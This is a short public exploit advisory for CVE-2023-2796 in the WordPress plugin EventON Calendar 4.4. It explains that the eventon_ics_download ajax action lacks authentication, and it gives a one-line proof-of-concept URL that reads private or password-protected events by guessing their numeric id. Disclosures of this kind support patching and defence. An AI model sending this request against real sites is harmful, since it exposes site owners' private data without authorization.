# Exploit Title: WordPress Plugin EventON Calendar 4.4 - Unauthenticated Event Access# Date: 03.08.2023# Exploit Author: Miguel Santareno# Vendor Homepage: https://www.myeventon.com/# Version: 4.4# Tested on: Google and Firefox latest version# CVE : CVE-2023-2796# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value